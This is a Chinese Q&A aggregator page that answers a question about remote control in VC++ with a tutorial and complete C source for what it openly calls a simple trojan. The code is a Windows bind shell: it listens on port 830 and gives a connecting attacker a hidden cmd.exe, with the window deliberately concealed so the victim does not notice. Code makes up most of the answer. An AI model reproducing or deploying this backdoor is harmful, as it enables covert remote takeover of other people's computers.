远程控制
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了远程控制相关的知识,希望对你有一定的参考价值。
vc++ 怎么实现远程控制 例如 控制端发送命令A到服务端 去执行 结果返回 的具体编程实现
一个简单的木马程序~自己好好看下首先,我们先讲解一下本程序中需要用到的几个函数。
木马需要和客户端(即攻击方)的通信,因此,我们需要用套接字编程。使用套接字需要包含头文件#include<winsock2.h>
#include<stdio.h>
#include<windows.h>
#pragma comment(lib,"Ws2_32")
我们定义的变量为:
WSADATA ws;
SOCKET listenFD,clientFD;
int ret;
struct sockaddr_in server;
int iAddrSize;
STARTUPINFO si;
char cmdLine[]="cmd.exe";
PROCESS_INFORMATION ProcessInformation;
根据常规的winsock的编程结构,我们可以机械地完成下面几步:
1. 初始化版本
WSAStartup(MAKEWORD(2,2), //初始化版本
&ws
);
2.建立socket
listenFD=WSASocket(AF_INET, //建立socket
SOCK_STREAM,
IPPROTO_TCP,
NULL,
0,
0
);
3,将服务器端的ip地址和端口号绑定到第2步建立的listenFD上
server.sin_family=AF_INET;
server.sin_port=htons(830); //830端口
server.sin_addr.S_un.S_addr=INADDR_ANY;
ret=bind(listenFD, //绑定到listenFD上
(struct sockaddr *)&server,
sizeof(struct sockaddr)
);
4.进行监听
ret=listen(listenFD, //监听830端口
BACKLOG
);
到这一步,木马就会一直在830端口等待攻击者的连接了。接下来,我们编写当攻击者连接830端口后,木马的相应程序。
当攻击者链接830端口时,木马接受连接,并创建句柄clientFD。
clientFD=accept(listenFD, //接受连接并创建新的套接字clientFD
(struct sockaddr *)&server,
&iAddrSize
);
接着,我将向大家介绍采用进程间零管道通信的木马如何编写。
STARTUPINFO si 这是一个结构体。存放的是进程的信息。大家对这个结构体的具体内容不必追究,在以后的编程中,大家会发现,只用到下面的几个成员。
si.dwFlags si.wShowWindow si.hStdOutput,si.hStdInput,si.hStdError
首先,si.dwFlags我们固定用si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
接着,si.wShowWindow是说新创立的进程的窗口显示的方式。我们这里不可能让被攻击的计算机桌面上突然就打开一个cmd窗口,因此必须将进程的窗口显示方式设为隐藏。
si.wShowWindow=SW_HIDE;
接着,我们必须对进程的输入输出管道进行定义。这里,因为我们采用的是零管道木马的技术,因此,将输入输出管道全部用clientFD来代替就行。这里可以简单的理解为攻击者和木马的通信实际上已经转化成了和cmd子进程的通信。攻击者发过来的命令直接交给cmd子进程,而子进程的返回信息直接发给了攻击者。
因此,si的设置为:
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
si.hStdOutput=si.hStdInput=si.hStdError=(void *)clientFD;
接着我们就可以创建cmd子进程了。
可以用CreateProcess()函数。
ret=CreateProcess(NULL, //创建cmd.exe子进程
cmdLine,
NULL,
NULL,
1,
0,
NULL,
NULL,
&si,
&ProcessInformation
);
这样,一个简单的得到cmdshell的木马就完成了。整个代码如下:
#include "stdafx.h"
#include<winsock2.h>
#include<stdio.h>
#include<windows.h>
#pragma comment(lib,"Ws2_32")
#define BACKLOG 10 //设定可等待客户队列的大小为BACKLOG=10
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
// TODO: Place code here.
WSADATA ws;
SOCKET listenFD,clientFD;
int ret;
struct sockaddr_in server;
int iAddrSize;
STARTUPINFO si;
char cmdLine[]="cmd.exe";
PROCESS_INFORMATION ProcessInformation;
WSAStartup(MAKEWORD(2,2), //初始化版本
&ws
);
listenFD=WSASocket(AF_INET, //建立socket
SOCK_STREAM,
IPPROTO_TCP,
NULL,
0,
0
);
server.sin_family=AF_INET;
server.sin_port=htons(830);
server.sin_addr.S_un.S_addr=INADDR_ANY;
ret=bind(listenFD, //绑定到sockfd上
(struct sockaddr *)&server,
sizeof(struct sockaddr)
);
ret=listen(listenFD, //监听830端口
BACKLOG
);
iAddrSize=sizeof(server);
clientFD=accept(listenFD, //接受连接并创建新的套接字clientFD
(struct sockaddr *)&server,
&iAddrSize
);
ZeroMemory(&si,sizeof(si));
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
//si.wShowWindow=SW_SHOWNORMAL;
si.hStdOutput=si.hStdInput=si.hStdError=(void *)clientFD;
ret=CreateProcess(NULL, //创建cmd.exe子进程
cmdLine,
NULL,
NULL,
1,
0,
NULL,
NULL,
&si,
&ProcessInformation
);
return 0;
参考技术A socket编程,有本书 远程控制编程技术,自己拿来看看
波尔远程控制软件与网络人远程控制软件大比拼
波尔远程控制软件与网络人远程控制软件大比拼日期:2015-08-19 作者:mgs |
|||||||||||
|
|||||||||||
|
以上是关于远程控制的主要内容,如果未能解决你的问题,请参考以下文章